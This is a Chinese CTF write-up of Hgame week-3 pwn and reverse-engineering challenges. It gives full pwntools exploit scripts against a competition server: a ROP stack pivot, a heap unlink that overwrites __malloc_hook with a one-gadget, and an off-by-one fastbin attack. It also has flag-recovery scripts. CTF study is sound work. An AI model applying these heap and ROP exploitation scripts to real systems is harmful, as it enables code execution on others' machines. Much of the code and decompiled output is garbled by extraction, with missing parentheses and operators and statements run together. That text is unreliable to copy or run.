一次受益颇多的CTF(REPWN)

访客 289 0
本文来源:一次受益颇多的CTF(REPWN)

原创 Nepents 合天智汇

##前言

这个是Hgame_CTF第三周的题目,难度一周比一周大,而且还涉及了多方面的知识,一整期做下来对或许会有一个比较大的提升。其中有一道逆向,是通过监控本地端口来获取输入的,第一次接触这种输入模式,故借此机会记录一下。

上两周的题目回顾:HgameCTF(week1)-RE,PWN题解析

记一次春节CTF实战练习(RE/PWN)

##pwn ###ROP_LEVEL2

程序init禁用了59号中断,所以不能getshell

__int64 init()
{
  __int64 v0; // ST08_8
  
  v0 = seccomp_init(2147418112LL);
  seccomp_rule_add(v0, 0LL, 59LL, 0LL);
  seccomp_load(v0);
  return 0LL;
}

main函数存在栈溢出,但是最多只能覆盖到EBP和返回地址。前边会读取256个字节进入buf全局变量。可以通过栈迁移把栈区迁移到buf中,然后在buf中构造ROP,调用OPEN函数打开flag然后跳到0x040098F地址读取并输出flag。

#!/usr/bin/python
#coding:utf-8
from pwn import *
from time import *
from LibcSearcher import *
  
context.log_level="debug"

EXEC_FILE = './ROP'

io = remote('47.103.214.163',20300)
#io = process('./ROP')
elf = ELF(EXEC_FILE)

#padding = 88
read_plt = elf.plt['read']
open_plt = elf.plt['open']

io.recvuntil('?')
#payload = 'flag\x00\x00\x00\x00'#
payload = p64(0x060119F)
payload += p64(0x0400a43)#pop rdi
payload += p64(0x6010e0)#flag
payload += p64(0x0400a41)#pop rsi
payload += p64(0)
payload += p64(0)#pading
payload += p64(open_plt)
payload += p64(0x040098F)#
payload += 'flag\x00\x00\x00\x00'#
io.sendline(payload)#buf 0x006010A0

payload = 'a'*80
payload += p64(0x06010A0)#buf
payload += p64(0x4009D5
io.sendline(payload)

print io.recv()

io.interactive()

###Annevi_Note

查看edit函数,每次会固定读入256个字节。而每次只能申请小于143字节的堆块,照成堆溢出。

__int64 edit()
{
  int v1; // [rsp+Ch] [rbp-4h]
  
  puts("index?");
  v1 = readi();
  if ( list[v1] )
  {
printf("content:");
read_n((__int64)list[v1], 256);
puts("done!"); 
  } 
  else
  {
    puts("Invalid index!");
  }
  return 0LL;
}

check一下文件查看开了哪些保护

一次受益颇多的CTF(REPWN)-第1张图片-网盾网络安全培训

可以先申请usorted bin然后释放再申请回来调用show函数输出unsorted bin addr,先减去88再减去main_arena_offset求出libc基地址,不同版本的libc对应着不同版本的main_arena_offset。然后使用unlink使得能改变list中的元素,写入malloc hook地址,然后改变malloc hook为one gadget。

exp

#!/usr/bin/python#
coding:utf-8
from pwn import *
from time import *
from LibcSearcher import *
  
context.log_level="debug"

#EXEC_FILE = "./ROP_LEV"
REMOTE_LIBC = "./libc-2.23.so"

#main_offset = 3951392
io = remote('47.103.214.163',20301)
#io = process('./Annevi')
#elf = ELF(EXEC_FILE)
libc = ELF(REMOTE_LIBC)
def add(size,content): 
   io.sendlineafter(':','1')
   io.sendlineafter('?',str(size))
   io.sendlineafter(':',content)

def edit(idx,content):
  io.sendlineafter(':','4')
  io.sendlineafter('?',str(idx)) 
  io.sendlineafter(':',content)
def delete(idx):
   io.sendlineafter(':','2')
   io.sendlineafter('?',str(idx))

def show(idx): 
   io.sendlineafter(':','3')   
   io.sendlineafter('?',str(idx))
add(150,'a')
add(150,'b')

delete(0)
add(150,'a'*7)
show(0)#求出libc基地址
io.recvuntil('a'*7)
unsorted_bin = u64(io.recvn(7)[1:].ljust(8,'\x00')) - 88
print hex(unsorted_bin)
libc_addr = unsorted_bin - 3951392

delete(0)
delete(1)

malloc_hook = libc_addr + libc.sym['__malloc_hook']

x = 0x0602040
fd = x-0x18
bk = x-0x10
payload = p64(0)
payload += p64(0x70)
payload += p64(fd)+p64(bk)
payload += 'a'*(0x70-(8*4))+p64(0x70)
payload += p64(0)*3+p64(0x90)+p64(0xa0)

add(0x90,'a')#0
add(0x90,'b')#1
add(0x90,'c')

edit(0,payload)

delete(1)

payload = p64(0)*3
payload += p64(malloc_hook)

edit(0,payload)
edit(0,p64(libc_addr+0xf1147))

io.sendlineafter(':','1')
io.sendlineafter('?',str(150))

io.interactive()

###E99p1ant_Note

查看read_n函数,存在off-by-one。能修溢出修改一个字节。

__int64 __fastcall read_n(__int64 a1, int a2)
{
  int i; // [rsp+1Ch] [rbp-4h]
  
  for ( i = 0; i = a2; ++i )
  {
 read(0, (void *)(i + a1), 1uLL);
 if ( *(_BYTE *)(i + a1) == 10 )
   break;
  }
  return 0LL;
}

可以按照上面一道题的方法,先泄露出libc基地址。然后利用off-by-one配合unsorted bin attack,使得链表中两个元素指向同一块内存,然后利用fastbin attack修改malloc hook变成one gadget。

#!/usr/bin/python
#coding:utf-8
from pwn import *
from time import *
from LibcSearcher import *
  
context.log_level="debug"

REMOTE_LIBC = "./libc-2.23.so"

#main_offset = 3951392
io = remote('47.103.214.163',20302)
#io = process('./E99')
#elf = ELF(EXEC_FILE)
libc = ELF(REMOTE_LIBC)

def add(size,content):
  io.sendlineafter(':','1')
  io.sendlineafter('?',str(size))
  io.sendlineafter(':',content)

def edit(idx,content):
   io.sendlineafter(':','4')
   io.sendlineafter('?',str(idx))
   io.sendlineafter(':',content)

def edits(idx,content):
  io.sendlineafter(':','4')
  io.sendlineafter('?',str(idx))
  io.recvuntil(':')
  io.send(content)
  #io.sendlineafter(':',content)
  
  
def delete(idx): io.sendlineafter(':','2') io.sendlineafter('?',str(idx))def show(idx):
   io.sendlineafter(':','3')
   io.sendlineafter('?',str(idx))

add(0x88,'a')
add(0x88,'b')

delete(0)
add(0x88,'a'*7)
show(0)#求出libc基地址
io.recvuntil('a'*7)
unsorted_bin = u64(io.recvn(7)[1:].ljust(8,'\x00')) - 88
print hex(unsorted_bin)
libc_addr = unsorted_bin - 3951392

delete(0)
delete(1)

add(0x88,'a')#
0add(0x88,'b')#1
add(0x88,'c')#2
add(0x88,'d')#3
add(0x88,'e')#4
add(0x88,'f')#5

delete(0)
edits(3,'a'*0x80+p64(0x240)+p8(0x90))
delete(4)

add(0x88,'a')
#0add(0x68,'a')#4
add(0x10,'a')#6
add(0x68,'a')#7
add(0x10,'a')#8

delete(4)
delete(7)

malloc_hook = libc_addr + libc.sym['__malloc_hook']
edit(1,p64(malloc_hook-35)*2)

add(0x68,'a')#4
add(0x68,'b')#7
print hex(libc_addr+0xf24cb)
raw_input()
add(0x68,'a'*(19-8)+p64(libc_addr+0xf1147)+p64(libc_addr+0xf1147))

io.sendlineafter(':','1')
io.sendlineafter('?',str(100))

io.interactive()

##re

###oooollvm

程序加了ollvm混淆,或许可以用deflat.py去除,但是该程序逻辑比较简单,虽然加了混淆,但还是可以看清楚逻辑,所以可以带混淆逆。其实如果实在真的解不了混淆,可以凭经验下断点,或者在全部的真实块下断点动态调试也是可以的,不过比较麻烦。

一次受益颇多的CTF(REPWN)-第2张图片-网盾网络安全培训

v12为计数器,table1和flag经过计算和table2对比。

可以写脚本。

table_2 = [0x77,0x25,0x71,0x3F,0xF1,0x46,0xAB,0x4F,0x5F,0x7E,0x87,0x89,0x3E,0x89,0x24,0x17,0x5C,0x19,0xA1,0x36,0xD2,0x3C,0x72,0x51,0x21,0x9C,0xB7,0xA5,0xD0,0x9A,0x1A,0x77,0x06,0x3A]

table_1 = [0x1F,0x41,0x0E,0x4F,0x90,0x38,0x95,0x1C,0x2B,0x1F,0xC0,0xCB,0x03,0xAF,0x6D,0x45,0x5C,0x63,0xBF,0x67,0x83,0x4F,0x16,0x1C,0x3C,0xAF,0xAF,0x75,0x9D,0xBA,0x2C,0x1C,0x43,0x26]

flag = ""
for i in range(34):
	for q in range(20,127):
		if (table_2[i] == (~q 
if ( v81[1] != 9 )// flag长度为9
{
*(_QWORD *)
*((_QWORD *)
fmt_Fprintln(
  (__int64)a1,
  a2,
  (__int64)os_Exit((__int64)a1);  }

然后进入sha1加密后对比。由于没有的信息,有点难猜测9位是啥。

  v80 = v62; 
*(_QWORD *)v62 = 0xEFCDAB8967452301LL;
*(_QWORD *)(v62 + 8) = 0x1032547698BADCFELL;
*(_DWORD *)(v62 + 16) = 0xC3D2E1F0;
*(_OWORD *)(v62 + 88) = 0LL;
v13 = *v81;
runtime_stringtoslicebyte((__int64)a1, a2, v81[1], (__int64)v81, v14, v15);
*(_QWORD *)
*((_QWORD *)
crypto_sha1___digest__Write((__int64)a1, a2, 1LL, 1LL, v17, v16);
v64 = 0LL;
crypto_sha1___digest__Sum((__int64)a1, a2, v18, v19, v20, v21, v80);
v76 = 1LL;
runtime_newobject();
v79 = 0LL;
unk_0 = 0x532A878B04894333LL;
unk_4 = xmmword_5514B0;
runtime_convTslice((__int64)a1, a2, v22);
v78 = 0LL >> 63;
runtime_convTslice((__int64)a1, a2, v23);
*(_QWORD *)
 reflect_DeepEqual((__int64)a1, a2, v24, v78, v25);
v28 = v81;
v29 = v81[1];
v68 = v81[1];
v30 = *v81;
v77 = *v81;
cout = 0LL;

后来发现这9位和:2333拼接,进入net_Listen函数。

flag___FlagSet__Parse((__int64)a1, a2, qword_647088, os_Args, *(__int128 *)
runtime_concatstring3(
  (__int64)a1,
  a2,
  v72[1],
  v74[1],
    v37,
    v38,
    0,
    *v74,
    v74[1],
    (unsigned __int64)":=?CLMNPSUZ[\n\t" ,
    1,
    *v72,
    v72[1]);
    *(_QWORD *) 
      *((_QWORD *)
net_Listen((__int64)a1, a2, (__int64)

这9位可能是个ip地址,2333是端口。猜测127.0.0.1和localhost,发现是localhost。然后运行net_Listen函数监听本地端口2333数据。可以使用telnet往本机端口发送数据。

一次受益颇多的CTF(REPWN)-第3张图片-网盾网络安全培训

当接收打数据后,程序会进入main_handleRequest函数,使用des加密监听到的数据对比,密钥为localhost。

一次受益颇多的CTF(REPWN)-第4张图片-网盾网络安全培训

直接解密得到flag

一次受益颇多的CTF(REPWN)-第5张图片-网盾网络安全培训

###hidden

先通过ida的交叉调用定位到sub_1400012E0函数。函数先读入flag,判断是不是40字节。

__int64 sub_1400012E0(){  __int64 v0; // rax  char v2; // [rsp+28h] [rbp-30h]  sub_140001C10(  sub_1400015D0(std::cin,   if ( sub_1400024A0() == 40 )  {v0 = sub_1400023D0((__int64)sub_140001270(v0);  }  sub_140001E30((__int64)  return 0i64;}

进入到sub_140001270函数

__int64 __fastcall sub_140001270(__int64 a1){  __int64 v1; // rdi  int v2; // ebx  int v3; // eax  __int64 result; // rax  v1 = a1;  v2 = sub_1400010C0(0, (unsigned __int8 *)a1, 0x14ui64);  v3 = sub_1400010C0(0, (unsigned __int8 *)(v1 + 20), 0x14ui64);  if ( v2 != 0x18257154 || v3 != 2058429201 )result = sub_140001030(0);  elseresult = sub_140001030(1);  return result;}

flag分成两部分进入sub_1400010C0函数。

__int64 __fastcall sub_1400010C0(int a1, unsigned __int8 *a2, unsigned __int64 a3)
{
  int v3; // ebx
  unsigned __int64 v4; // rbp
  unsigned __int8 *v5; // r14
  unsigned int v6; // er12
  unsigned int *v7; // r15
  signed int v8; // edi
  unsigned int *v9; // rsi
  unsigned int v10; // edx
  unsigned int v11; // ecx
  unsigned int v12; // edx
  unsigned int v13; // ecx
  unsigned int v14; // edx
  unsigned int v15; // ecx
  unsigned int v16; // edx
  unsigned int v17; // ebx
  unsigned __int8 *v18; // rdx
  __int64 v19; // rax  unsigned int v21; // [rsp+50h] [rbp+8h]
  
  v3 = a1;
  v4 = a3;
  v5 = a2;
  v6 = v21;
  v7 = (unsigned int *)VirtualAlloc(0i64, 0x4000ui64, 0x3000u, 0x40u);
  v8 = 0;
  v9 = v7;
  do
      {
  if ( v8 >= 256 )
  {  *v9 = v6 ^ *(unsigned int *)((char *)v9 + 
   if ( v8 == 4095 )
 sub_140001010(v5, sub_140001030, v7 + 256, sub_1400010A0);}else
 {
   v10 = ((unsigned int)v8 >> 1) ^ 0xEDB88320;
   if ( !(v8 
   v11 = (v10 >> 1) ^ 0xEDB88320;
   if ( !(v10 
   v12 = (v11 >> 1) ^ 0xEDB88320;
 if ( !(v11 
   v13 = (v12 >> 1) ^ 0xEDB88320; 
   if ( !(v12 
   v14 = (v13 >> 1) ^ 0xEDB88320;
   if ( !(v13 
   v15 = (v14 >> 1) ^ 0xEDB88320;
    if ( !(v14 
 v16 = (v15 >> 1) ^ 0xEDB88320;
   if ( !(v15 
   v6 = (v16 >> 1) ^ 0xEDB88320;
   if ( !(v16  
   *v9 = v6;
 }
        ++v8;  ++v9;  }  while ( v8  4096 );  v17 = ~v3;  v18 = v5;  if ( v5 >   if ( v4 )  {do{  v19 = *v18++;  v17 = (v17 >> 8) ^ v7[v19 ^ (unsigned __int8)v17];}while ( v18 - v5  v4 );  }  return ~v17;}

看算法生成了表,很像是CRC32算法。但是会进入sub_140001010函数。

一次受益颇多的CTF(REPWN)-第6张图片-网盾网络安全培训

里边call r8,并且还会调用一个可以输出正确信息的函数。并且这个函数结束之后,会运行int指令。题目名叫hidden,或许真正有用的信息就隐藏在里边。可以动态调试一下到底调用了哪些函数。

__int64 __fastcall sub_283C8F00400(__int64 a1, __int64 (__fastcall *a2)(_QWORD))
{
  signed int j; // [rsp+20h] [rbp-78h]
  signed int i; // [rsp+24h] [rbp-74h]
  signed int l; // [rsp+28h] [rbp-70h]
  signed int k; // [rsp+2Ch] [rbp-6Ch]
  unsigned int v7; // [rsp+30h] [rbp-68h]
  char v8[38]; // [rsp+38h] [rbp-60h]
  char v9; // [rsp+5Eh] [rbp-3Ah]
  char *v10; // [rsp+60h] [rbp-38h]
  __int64 v11; // [rsp+68h] [rbp-30h]
  __int64 v12; // [rsp+70h] [rbp-28h]
  __int64 v13; // [rsp+78h] [rbp-20h]
  __int64 v14; // [rsp+80h] [rbp-18h]
  __int64 v15; // [rsp+88h] [rbp-10h]
  
  for ( i = 0; i  40; ++i )
    v8[i] = *(_BYTE *)(a1 + i);
  v10 = 
  for ( j = 0; j  19; ++j )
 {
    for ( k = 0; k  2; ++k )
 {
   v8[j] ^= v8[j + 19];
   v8[j] += v10[k];
   v8[j + 19] -= 103;
   v8[j + 19] ^= v8[j];
}
  }
  v7 = 1;
  for ( l = 0; l  40; ++l )
{
  v11 = 8896099409227384902i64;
  v12 = 5221214014029134222i64;
  v13 = 5439652918615309179i64;
  v14 = -9114877380574607267i64
  ;v15 = 9035724225678832282i64;
  if ( v8[l] != *((char *)
 return a2(v7);
}
}
return a2(v7);
}

这估计就是真正处理flag的函数了,a2会通过判断传进去的参数输出正确或者失败。可以写脚本。

flag = [0x46,0x88,0x8F,0x75,0x47,0x4B,0x75,0x7B,0x8E,0x79,0x7F,0x8A,0x7B,0x7A,0x75,0x48,0x7B,0x7B,0x7B,0x4B,0x82,0x87,0x7D,0x4B,0x5D,0x88,0x9B,0xA7,0x50,0x73,0x81,0x81,0x9A,0x72,0xFA,0x57,0x4F,0x57,0x65,0x7D]
for i in range(18,-1,-1):  
  for q in range(1,-1,-1):
    flag[i+19] = (flag[i+19]^flag[i])&0xff
    flag[i+19] = (flag[i+19]+103)&0xff
    flag[i] = (flag[i]-flag[(q+38)])&0xff
    flag[i] = (flag[i]^flag[i+19])&0xffflags =
     ""for i in flag:  flags+=chr(i)print flags

如果想更多系统的学习CTF,可点击“CTF从入门到实践-CTF一站式学习平台-合天网安实验室”,进入CTF实验室学习,里面涵盖了6个题目类型系统的学习路径和实操环境。

一次受益颇多的CTF(REPWN)-第7张图片-网盾网络安全培训

声明:笔者初衷用于分享与普及网络知识,若读者因此作出任何危害网络安全行为后果自负,与合天智汇及原作者无关!


标签: 合天智汇

发表评论 (已有0条评论)

还木有评论哦,快来抢沙发吧~